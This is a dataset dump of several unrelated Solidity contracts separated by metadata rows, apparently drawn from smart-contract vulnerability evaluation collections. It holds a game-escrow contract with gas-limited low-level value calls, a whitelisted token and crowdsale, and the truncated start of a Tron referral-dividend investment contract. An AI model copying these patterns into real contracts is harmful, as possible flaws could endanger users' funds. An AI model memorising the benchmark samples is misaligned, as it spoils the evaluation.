function registerArbiter(uint _numPlayers, uint _arbToken, uint _escFeePctX10, uint _arbFeePctX10, uint _feeCap) public payable
{
if (msg.value != registrationFee) {
throw; //Insufficient Fee
}
if (_arbToken == 0) {
throw; // invalid token
}
if (arbTokenExists(_arbToken & 0xffff)) {
throw; // Token Already Exists
}
if (arbiters[msg.sender].registered) {
throw; // Arb Already Registered
}
if (_numPlayers > MAX_PLAYERS) {
throw; // Exceeds Max Players
}
if (_escFeePctX10 < 20) {
throw; // less than 2% min escrow fee
}
if (_arbFeePctX10 > 10) {
throw; // more than than 1% max arbiter fee
}
arbiters[msg.sender].locked = false;
arbiters[msg.sender].numPlayers = uint8(_numPlayers);
arbiters[msg.sender].escFeePctX10 = uint8(_escFeePctX10);
arbiters[msg.sender].arbFeePctX10 = uint8(_arbFeePctX10);
arbiters[msg.sender].arbToken = uint16(_arbToken & 0xffff);
arbiters[msg.sender].feeCap = uint128(_feeCap);
arbiters[msg.sender].registered = true;
arbiterTokens[(_arbToken & 0xffff)] = msg.sender;
arbiterIndexes[numArbiters++] = msg.sender;
if (tokenPartner != address(0)) {
if (!tokenPartner.call.gas(tokCallGas).value(msg.value)()) {
//Statvent("Send Error"); // event never registers
throw;
}
} else {
houseFeeHoldover += msg.value;
}
StatEventI("Arb Added", _arbToken);
}
//------------------------------------------------------
// start game. pass in valid hGame containing token in top two bytes
//------------------------------------------------------
function startGame(uint _hGame, int _hkMax, address[] _players) public
{
uint ntok = ArbTokFromHGame(_hGame);
if (!validArb(msg.sender, ntok)) {
StatEvent("Invalid Arb");
return;
}
if (arbLocked(msg.sender)) {
StatEvent("Arb Locked");
return;
}
arbiter xarb = arbiters[msg.sender];
if (_players.length != xarb.numPlayers) {
StatEvent("Incorrect num players");
return;
}
gameInstance xgame = games[_hGame];
if (xgame.active) {
// guard-rail. just in case to return funds
abortGame(_hGame, EndReason.erCancel);
} else if (_hkMax > 0) {
houseKeep(_hkMax, ntok);
}
if (!xgame.allocd) {
xgame.allocd = true;
xarb.gameIndexes[xarb.gameSlots++] = _hGame;
}
numGamesStarted++; // always inc this one
xgame.active = true;
xgame.lastMoved = now;
xgame.totalPot = 0;
xgame.numPlayers = xarb.numPlayers;
for (uint i = 0; i < _players.length; i++) {
xgame.players[i] = _players[i];
xgame.playerPots[i] = 0;
}
//StatEventI("Game Added", _hGame);
}
//------------------------------------------------------
// clean up game, set to inactive, refund any balances
// called by housekeep ONLY
//------------------------------------------------------
function abortGame(uint _hGame, EndReason _reason) private returns(bool _success)
{
gameInstance xgame = games[_hGame];
// find game in game id,
if (xgame.active) {
_success = true;
for (uint i = 0; i < xgame.numPlayers; i++) {
if (xgame.playerPots[i] > 0) {
address a = xgame.players[i];
uint nsend = xgame.playerPots[i];
xgame.playerPots[i] = 0;
if (!a.call.gas(acctCallGas).value(nsend)()) {
houseFeeHoldover += nsend; // cannot refund due to error, give to the house
StatEventA("Cannot Refund Address", a);
}
}
}
xgame.active = false;
xgame.reasonEnded = _reason;
if (_reason == EndReason.erCancel) {
numGamesCanceled++;
StatEvent("Game canceled");
} else if (_reason == EndReason.erTimeOut) {
numGamesTimedOut++;
StatEvent("Game timed out");
} else
StatEvent("Game aborted");
}
}
//------------------------------------------------------
// called by arbiter when winner is decided
// *pass in high num for winnerbal for tie games
//------------------------------------------------------
function winnerDecided(uint _hGame, address _winner, uint _winnerBal) public
{
if (!validArb(msg.sender, ArbTokFromHGame(_hGame))) {
StatEvent("Invalid Arb");
return; // no throw no change made
}
var (valid, pidx) = validPlayer(_hGame, _winner);
if (!valid) {
StatEvent("Invalid Player");
return;
}
arbiter xarb = arbiters[msg.sender];
gameInstance xgame = games[_hGame];
if (xgame.playerPots[pidx] < _winnerBal) {
abortGame(_hGame, EndReason.erCancel);
return;
}
xgame.active = false;
xgame.reasonEnded = EndReason.erWinner;
numGamesCompleted++;
if (xgame.totalPot > 0) {
// calc payouts: escrowFee, arbiterFee, gasCost, winner payout
uint _escrowFee = (xgame.totalPot * xarb.escFeePctX10) / 1000;
uint _arbiterFee = (xgame.totalPot * xarb.arbFeePctX10) / 1000;
if ((_escrowFee + _arbiterFee) > xarb.feeCap) {
_escrowFee = xarb.feeCap * xarb.escFeePctX10 / (xarb.escFeePctX10 + xarb.arbFeePctX10);
_arbiterFee = xarb.feeCap * xarb.arbFeePctX10 / (xarb.escFeePctX10 + xarb.arbFeePctX10);
}
uint _payout = xgame.totalPot - (_escrowFee + _arbiterFee);
uint _gasCost = tx.gasprice * (startGameGas + winnerDecidedGas);
if (_gasCost > _payout)
_gasCost = _payout;
_payout -= _gasCost;
// do payouts
xarb.arbHoldover += uint128(_arbiterFee + _gasCost);
houseFeeHoldover += _escrowFee;
if ((houseFeeHoldover > houseFeeThreshold)
&& (now > (lastPayoutTime + payoutInterval))) {
uint ntmpho = houseFeeHoldover;
houseFeeHoldover = 0;
lastPayoutTime = now; // reset regardless of succeed/fail
if (!tokenPartner.call.gas(tokCallGas).value(ntmpho)()) {
houseFeeHoldover = ntmpho; // put it back
StatEvent("House-Fee Error1");
}
}
if (_payout > 0) {
if (!_winner.call.gas(acctCallGas).value(uint(_payout))()) {
// if you cant pay the winner - very bad
// StatEvent("Send Error");
// add funds to houseFeeHoldover to avoid acounting errs
//throw;
houseFeeHoldover += _payout;
StatEventI("Payout Error!", _hGame);
} else {
//StatEventI("Winner Paid", _hGame);
}
}
}
}
//------------------------------------------------------
// handle a bet made by a player, validate the player and game
// add to players balance
//------------------------------------------------------
function handleBet(uint _hGame) public payable
{
address _arbAddr = arbiterTokens[ArbTokFromHGame(_hGame)];
if (_arbAddr == address(0)) {
throw; // "Invalid hGame"
}
var (valid, pidx) = validPlayer(_hGame, msg.sender);
if (!valid) {
throw; // "Invalid Player"
}
gameInstance xgame = games[_hGame];
xgame.playerPots[pidx] += uint128(msg.value);
xgame.totalPot += uint128(msg.value);
//StatEventI("Bet Added", _hGame);
}
//------------------------------------------------------
// return if arb token exists
//------------------------------------------------------
function arbTokenExists(uint _tok) constant returns (bool _exists)
{
_exists = false;
if ((_tok > 0)
&& (arbiterTokens[_tok] != address(0))
&& arbiters[arbiterTokens[_tok]].registered)
_exists = true;
}
//------------------------------------------------------
// return arbiter game stats
//------------------------------------------------------
function getArbInfo(uint _tok) constant returns (address _addr, uint _escFeePctX10, uint _arbFeePctX10, uint _feeCap, uint _holdOver)
{
// if (arbiterTokens[_tok] != address(0)) {
_addr = arbiterTokens[_tok];
arbiter xarb = arbiters[arbiterTokens[_tok]];
_escFeePctX10 = xarb.escFeePctX10;
_arbFeePctX10 = xarb.arbFeePctX10;
_feeCap = xarb.feeCap;
_holdOver = xarb.arbHoldover;
// }
}
//------------------------------------------------------
// scan for a game 10 minutes old
// if found abort the game, causing funds to be returned
//------------------------------------------------------
function houseKeep(int _max, uint _arbToken) public
{
uint gi;
address a;
int aborted = 0;
arbiter xarb = arbiters[msg.sender];// have to set it to something
if (msg.sender == owner) {
for (uint ar = 0; (ar < numArbiters) && (aborted < _max) ; ar++) {
a = arbiterIndexes[ar];
xarb = arbiters[a];
for (gi = 0; (gi < xarb.gameSlots) && (aborted < _max); gi++) {
gameInstance ngame0 = games[xarb.gameIndexes[gi]];
if ((ngame0.active)
&& ((now - ngame0.lastMoved) > gameTimeOut)) {
abortGame(xarb.gameIndexes[gi], EndReason.erTimeOut);
++aborted;
}
}
}
} else {
if (!validArb(msg.sender, _arbToken))
StatEvent("Housekeep invalid arbiter");
else {
a = msg.sender;
xarb = arbiters[a];
for (gi = 0; (gi < xarb.gameSlots) && (aborted < _max); gi++) {
gameInstance ngame1 = games[xarb.gameIndexes[gi]];
if ((ngame1.active)
&& ((now - ngame1.lastMoved) > gameTimeOut)) {
abortGame(xarb.gameIndexes[gi], EndReason.erTimeOut);
++aborted;
}
}
}
}
}
//------------------------------------------------------
// return game info
//------------------------------------------------------
function getGameInfo(uint _hGame) constant returns (EndReason _reason, uint _players, uint _totalPot, bool _active)
{
gameInstance xgame = games[_hGame];
_active = xgame.active;
_players = xgame.numPlayers;
_totalPot = xgame.totalPot;
_reason = xgame.reasonEnded;
}
//------------------------------------------------------
// return arbToken and low bytes from an HGame
//------------------------------------------------------
function checkHGame(uint _hGame) constant returns(uint _arbTok, uint _lowWords)
{
_arbTok = ArbTokFromHGame(_hGame);
_lowWords = _hGame & 0xffffffffffff;
}
//------------------------------------------------------
// get operation gas amounts
//------------------------------------------------------
function getOpGas() constant returns (uint _ag, uint _tg)
{
_ag = acctCallGas; // winner paid
_tg = tokCallGas; // token contract call gas
}
//------------------------------------------------------
// set operation gas amounts for forwading operations
//------------------------------------------------------
function setOpGas(uint _ag, uint _tg)
{
if (msg.sender != owner)
throw;
acctCallGas = _ag;
tokCallGas = _tg;
}
//------------------------------------------------------
// set a micheivous arbiter to locked
//------------------------------------------------------
function setArbiterLocked(address _addr, bool _lock) public
{
if (owner != msg.sender) {
throw;
} else if (!validArb2(_addr)) {
StatEvent("invalid arb");
} else {
arbiters[_addr].locked = _lock;
}
}
//------------------------------------------------------
// flush the house fees whenever commanded to.
// ignore the threshold and the last payout time
// but this time only reset lastpayouttime upon success
//------------------------------------------------------
function flushHouseFees()
{
if (msg.sender != owner) {
StatEvent("only owner calls this function");
} else if (houseFeeHoldover > 0) {
uint ntmpho = houseFeeHoldover;
houseFeeHoldover = 0;
if (!tokenPartner.call.gas(tokCallGas).value(ntmpho)()) {
houseFeeHoldover = ntmpho; // put it back
StatEvent("House-Fee Error2");
} else {
lastPayoutTime = now;
StatEvent("House-Fee Paid");
}
}
}
// ----------------------------
// withdraw expense funds to arbiter
// ----------------------------
function withdrawArbFunds() public
{
if (!validArb2(msg.sender)) {
StatEvent("invalid arbiter");
} else {
arbiter xarb = arbiters[msg.sender];
if (xarb.arbHoldover == 0) {
StatEvent("0 Balance");
return;
} else {
uint _amount = xarb.arbHoldover;
xarb.arbHoldover = 0;
if (!msg.sender.call.gas(acctCallGas).value(_amount)())
throw;
}
}
}
//------------------------------------------------------
// set the token partner
//------------------------------------------------------
function setTokenPartner(address _addr) public
{
if (msg.sender != owner) {
throw;
}
if ((settingsState == SettingStateValue.lockedRelease)
&& (tokenPartner == address(0))) {
tokenPartner = _addr;
StatEvent("Token Partner Final!");
} else if (settingsState != SettingStateValue.lockedRelease) {
tokenPartner = _addr;
StatEvent("Token Partner Assigned!");
}
}
// ----------------------------
// swap executor
// ----------------------------
function changeOwner(address _addr)
{
if (msg.sender != owner
|| settingsState == SettingStateValue.lockedRelease)
throw;
owner = _addr;
}
}
| 179,108 | 184 |
bbe3a233d4e00eb562ff11f14c6b390bdb3169693de0975b9639d3cdc90c4f5c
| 35,049 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0xe973d3da47b2effbb00f13900b1888012a25a7df.sol
| 5,290 | 21,797 |
pragma solidity 0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor(address _owner) public {
owner = _owner;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Whitelist is Ownable {
mapping(address => bool) internal investorMap;
event Approved(address indexed investor);
event Disapproved(address indexed investor);
constructor(address _owner)
public
Ownable(_owner)
{
}
function isInvestorApproved(address _investor) external view returns (bool) {
require(_investor != address(0));
return investorMap[_investor];
}
function approveInvestor(address toApprove) external onlyOwner {
investorMap[toApprove] = true;
emit Approved(toApprove);
}
function approveInvestorsInBulk(address[] toApprove) external onlyOwner {
for (uint i = 0; i < toApprove.length; i++) {
investorMap[toApprove[i]] = true;
emit Approved(toApprove[i]);
}
}
function disapproveInvestor(address toDisapprove) external onlyOwner {
delete investorMap[toDisapprove];
emit Disapproved(toDisapprove);
}
function disapproveInvestorsInBulk(address[] toDisapprove) external onlyOwner {
for (uint i = 0; i < toDisapprove.length; i++) {
delete investorMap[toDisapprove[i]];
emit Disapproved(toDisapprove[i]);
}
}
}
contract Validator {
address public validator;
event NewValidatorSet(address indexed previousOwner, address indexed newValidator);
constructor() public {
validator = msg.sender;
}
modifier onlyValidator() {
require(msg.sender == validator);
_;
}
function setNewValidator(address newValidator) public onlyValidator {
require(newValidator != address(0));
emit NewValidatorSet(validator, newValidator);
validator = newValidator;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
constructor(address _owner)
public
Ownable(_owner)
{
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract DetailedERC20 {
string public name;
string public symbol;
uint8 public decimals;
constructor(string _name, string _symbol, uint8 _decimals) public {
name = _name;
symbol = _symbol;
decimals = _decimals;
}
}
contract CompliantToken is Validator, DetailedERC20, MintableToken {
Whitelist public whiteListingContract;
struct TransactionStruct {
address from;
address to;
uint256 value;
uint256 fee;
address spender;
}
mapping (uint => TransactionStruct) public pendingTransactions;
mapping (address => mapping (address => uint256)) public pendingApprovalAmount;
uint256 public currentNonce = 0;
uint256 public transferFee;
address public feeRecipient;
modifier checkIsInvestorApproved(address _account) {
require(whiteListingContract.isInvestorApproved(_account));
_;
}
modifier checkIsAddressValid(address _account) {
require(_account != address(0));
_;
}
modifier checkIsValueValid(uint256 _value) {
require(_value > 0);
_;
}
event TransferRejected(address indexed from,
address indexed to,
uint256 value,
uint256 indexed nonce,
uint256 reason);
event TransferWithFee(address indexed from,
address indexed to,
uint256 value,
uint256 fee);
event RecordedPendingTransaction(address indexed from,
address indexed to,
uint256 value,
uint256 fee,
address indexed spender);
event WhiteListingContractSet(address indexed _whiteListingContract);
event FeeSet(uint256 indexed previousFee, uint256 indexed newFee);
event FeeRecipientSet(address indexed previousRecipient, address indexed newRecipient);
constructor(address _owner,
string _name,
string _symbol,
uint8 _decimals,
address whitelistAddress,
address recipient,
uint256 fee)
public
MintableToken(_owner)
DetailedERC20(_name, _symbol, _decimals)
Validator()
{
setWhitelistContract(whitelistAddress);
setFeeRecipient(recipient);
setFee(fee);
}
function setWhitelistContract(address whitelistAddress)
public
onlyValidator
checkIsAddressValid(whitelistAddress)
{
whiteListingContract = Whitelist(whitelistAddress);
emit WhiteListingContractSet(whiteListingContract);
}
function setFee(uint256 fee)
public
onlyValidator
{
emit FeeSet(transferFee, fee);
transferFee = fee;
}
function setFeeRecipient(address recipient)
public
onlyValidator
checkIsAddressValid(recipient)
{
emit FeeRecipientSet(feeRecipient, recipient);
feeRecipient = recipient;
}
function updateName(string _name) public onlyOwner {
require(bytes(_name).length != 0);
name = _name;
}
function updateSymbol(string _symbol) public onlyOwner {
require(bytes(_symbol).length != 0);
symbol = _symbol;
}
function transfer(address _to, uint256 _value)
public
checkIsInvestorApproved(msg.sender)
checkIsInvestorApproved(_to)
checkIsValueValid(_value)
returns (bool)
{
uint256 pendingAmount = pendingApprovalAmount[msg.sender][address(0)];
if (msg.sender == feeRecipient) {
require(_value.add(pendingAmount) <= balances[msg.sender]);
pendingApprovalAmount[msg.sender][address(0)] = pendingAmount.add(_value);
} else {
require(_value.add(pendingAmount).add(transferFee) <= balances[msg.sender]);
pendingApprovalAmount[msg.sender][address(0)] = pendingAmount.add(_value).add(transferFee);
}
pendingTransactions[currentNonce] = TransactionStruct(msg.sender,
_to,
_value,
transferFee,
address(0));
emit RecordedPendingTransaction(msg.sender, _to, _value, transferFee, address(0));
currentNonce++;
return true;
}
function transferFrom(address _from, address _to, uint256 _value)
public
checkIsInvestorApproved(_from)
checkIsInvestorApproved(_to)
checkIsValueValid(_value)
returns (bool)
{
uint256 allowedTransferAmount = allowed[_from][msg.sender];
uint256 pendingAmount = pendingApprovalAmount[_from][msg.sender];
if (_from == feeRecipient) {
require(_value.add(pendingAmount) <= balances[_from]);
require(_value.add(pendingAmount) <= allowedTransferAmount);
pendingApprovalAmount[_from][msg.sender] = pendingAmount.add(_value);
} else {
require(_value.add(pendingAmount).add(transferFee) <= balances[_from]);
require(_value.add(pendingAmount).add(transferFee) <= allowedTransferAmount);
pendingApprovalAmount[_from][msg.sender] = pendingAmount.add(_value).add(transferFee);
}
pendingTransactions[currentNonce] = TransactionStruct(_from,
_to,
_value,
transferFee,
msg.sender);
emit RecordedPendingTransaction(_from, _to, _value, transferFee, msg.sender);
currentNonce++;
return true;
}
function approveTransfer(uint256 nonce)
external
onlyValidator
checkIsInvestorApproved(pendingTransactions[nonce].from)
checkIsInvestorApproved(pendingTransactions[nonce].to)
checkIsValueValid(pendingTransactions[nonce].value)
returns (bool)
{
address from = pendingTransactions[nonce].from;
address spender = pendingTransactions[nonce].spender;
address to = pendingTransactions[nonce].to;
uint256 value = pendingTransactions[nonce].value;
uint256 allowedTransferAmount = allowed[from][spender];
uint256 pendingAmount = pendingApprovalAmount[from][spender];
uint256 fee = pendingTransactions[nonce].fee;
uint256 balanceFrom = balances[from];
uint256 balanceTo = balances[to];
delete pendingTransactions[nonce];
if (from == feeRecipient) {
fee = 0;
balanceFrom = balanceFrom.sub(value);
balanceTo = balanceTo.add(value);
if (spender != address(0)) {
allowedTransferAmount = allowedTransferAmount.sub(value);
}
pendingAmount = pendingAmount.sub(value);
} else {
balanceFrom = balanceFrom.sub(value.add(fee));
balanceTo = balanceTo.add(value);
balances[feeRecipient] = balances[feeRecipient].add(fee);
if (spender != address(0)) {
allowedTransferAmount = allowedTransferAmount.sub(value).sub(fee);
}
pendingAmount = pendingAmount.sub(value).sub(fee);
}
emit TransferWithFee(from,
to,
value,
fee);
emit Transfer(from,
to,
value);
balances[from] = balanceFrom;
balances[to] = balanceTo;
allowed[from][spender] = allowedTransferAmount;
pendingApprovalAmount[from][spender] = pendingAmount;
return true;
}
function rejectTransfer(uint256 nonce, uint256 reason)
external
onlyValidator
checkIsAddressValid(pendingTransactions[nonce].from)
{
address from = pendingTransactions[nonce].from;
address spender = pendingTransactions[nonce].spender;
if (from == feeRecipient) {
pendingApprovalAmount[from][spender] = pendingApprovalAmount[from][spender]
.sub(pendingTransactions[nonce].value);
} else {
pendingApprovalAmount[from][spender] = pendingApprovalAmount[from][spender]
.sub(pendingTransactions[nonce].value).sub(pendingTransactions[nonce].fee);
}
emit TransferRejected(from,
pendingTransactions[nonce].to,
pendingTransactions[nonce].value,
nonce,
reason);
delete pendingTransactions[nonce];
}
}
contract Crowdsale {
using SafeMath for uint256;
// The token being sold
MintableToken public token;
// start and end timestamps where investments are allowed (both inclusive)
uint256 public startTime;
uint256 public endTime;
// address where funds are collected
address public wallet;
// how many token units a buyer gets per wei
uint256 public rate;
// amount of raised money in wei
uint256 public weiRaised;
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
constructor(uint256 _startTime, uint256 _endTime, uint256 _rate, address _wallet, MintableToken _token) public {
require(_startTime >= now);
require(_endTime >= _startTime);
require(_rate > 0);
require(_wallet != address(0));
require(_token != address(0));
startTime = _startTime;
endTime = _endTime;
rate = _rate;
wallet = _wallet;
token = _token;
}
function () external payable {
buyTokens(msg.sender);
}
function buyTokens(address beneficiary) public payable {
require(beneficiary != address(0));
require(validPurchase());
uint256 weiAmount = msg.value;
// calculate token amount to be created
uint256 tokens = getTokenAmount(weiAmount);
// update state
weiRaised = weiRaised.add(weiAmount);
token.mint(beneficiary, tokens);
emit TokenPurchase(msg.sender, beneficiary, weiAmount, tokens);
forwardFunds();
}
function hasEnded() public view returns (bool) {
return now > endTime;
}
// Override this method to have a way to add business logic to your crowdsale when buying
function getTokenAmount(uint256 weiAmount) internal view returns(uint256) {
return weiAmount.mul(rate);
}
// send ether to the fund collection wallet
// override to create custom fund forwarding mechanisms
function forwardFunds() internal {
wallet.transfer(msg.value);
}
// @return true if the transaction can buy tokens
function validPurchase() internal view returns (bool) {
bool withinPeriod = now >= startTime && now <= endTime;
bool nonZeroPurchase = msg.value != 0;
return withinPeriod && nonZeroPurchase;
}
}
contract FinalizableCrowdsale is Crowdsale, Ownable {
using SafeMath for uint256;
bool public isFinalized = false;
event Finalized();
constructor(address _owner) public Ownable(_owner) {}
function finalize() onlyOwner public {
require(!isFinalized);
require(hasEnded());
finalization();
emit Finalized();
isFinalized = true;
}
function finalization() internal {}
}
contract CompliantCrowdsale is Validator, FinalizableCrowdsale {
Whitelist public whiteListingContract;
struct MintStruct {
address to;
uint256 tokens;
uint256 weiAmount;
}
mapping (uint => MintStruct) public pendingMints;
uint256 public currentMintNonce;
mapping (address => uint) public rejectedMintBalance;
modifier checkIsInvestorApproved(address _account) {
require(whiteListingContract.isInvestorApproved(_account));
_;
}
modifier checkIsAddressValid(address _account) {
require(_account != address(0));
_;
}
event MintRejected(address indexed to,
uint256 value,
uint256 amount,
uint256 indexed nonce,
uint256 reason);
event ContributionRegistered(address beneficiary,
uint256 tokens,
uint256 weiAmount,
uint256 nonce);
event WhiteListingContractSet(address indexed _whiteListingContract);
event Claimed(address indexed account, uint256 amount);
constructor(address whitelistAddress,
uint256 _startTime,
uint256 _endTime,
uint256 _rate,
address _wallet,
MintableToken _token,
address _owner)
public
FinalizableCrowdsale(_owner)
Crowdsale(_startTime, _endTime, _rate, _wallet, _token)
{
setWhitelistContract(whitelistAddress);
}
function setWhitelistContract(address whitelistAddress)
public
onlyValidator
checkIsAddressValid(whitelistAddress)
{
whiteListingContract = Whitelist(whitelistAddress);
emit WhiteListingContractSet(whiteListingContract);
}
function buyTokens(address beneficiary)
public
payable
checkIsInvestorApproved(beneficiary)
{
require(validPurchase());
uint256 weiAmount = msg.value;
// calculate token amount to be created
uint256 tokens = weiAmount.mul(rate);
pendingMints[currentMintNonce] = MintStruct(beneficiary, tokens, weiAmount);
emit ContributionRegistered(beneficiary, tokens, weiAmount, currentMintNonce);
currentMintNonce++;
}
function approveMint(uint256 nonce)
external
onlyValidator
checkIsInvestorApproved(pendingMints[nonce].to)
returns (bool)
{
// update state
weiRaised = weiRaised.add(pendingMints[nonce].weiAmount);
token.mint(pendingMints[nonce].to, pendingMints[nonce].tokens);
emit TokenPurchase(msg.sender,
pendingMints[nonce].to,
pendingMints[nonce].weiAmount,
pendingMints[nonce].tokens);
forwardFunds(pendingMints[nonce].weiAmount);
delete pendingMints[nonce];
return true;
}
function rejectMint(uint256 nonce, uint256 reason)
external
onlyValidator
checkIsAddressValid(pendingMints[nonce].to)
{
rejectedMintBalance[pendingMints[nonce].to] = rejectedMintBalance[pendingMints[nonce].to].add(pendingMints[nonce].weiAmount);
emit MintRejected(pendingMints[nonce].to,
pendingMints[nonce].tokens,
pendingMints[nonce].weiAmount,
nonce,
reason);
delete pendingMints[nonce];
}
function claim() external {
require(rejectedMintBalance[msg.sender] > 0);
uint256 value = rejectedMintBalance[msg.sender];
rejectedMintBalance[msg.sender] = 0;
msg.sender.transfer(value);
emit Claimed(msg.sender, value);
}
function finalization() internal {
token.finishMinting();
transferTokenOwnership(owner);
super.finalization();
}
function setTokenContract(address newToken)
external
onlyOwner
checkIsAddressValid(newToken)
{
token = CompliantToken(newToken);
}
function transferTokenOwnership(address newOwner)
public
onlyOwner
checkIsAddressValid(newOwner)
{
token.transferOwnership(newOwner);
}
function forwardFunds(uint256 amount) internal {
wallet.transfer(amount);
}
}
| 177,455 | 185 |
30d568ed6dc309ec3207ddd94cc906b33cf3666e6fd8a0377929dcf35f28b649
| 17,325 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TV/TVmAjURrA27ZdbfjrPyz97dXZRtSsqn1FD_AUTO_SUSTAINABLE.sol
| 3,858 | 14,148 |
//SourceUnit: AUTO_SUSTAINABLE.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.6;
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success,) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
function verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
return c;
}
}
struct daysPercent {
uint8 life_days;
uint8 percent;
}
struct DepositStruct {
uint256 amount;
uint40 time;
uint256 withdrawn;
}
struct Investor {
address daddy;
uint256 dividends;
uint256 matchBonus;
uint40 lastPayout;
uint256 totalInvested;
uint256 totalWithdrawn;
uint256 totalBonus;
uint256 spinRewards;
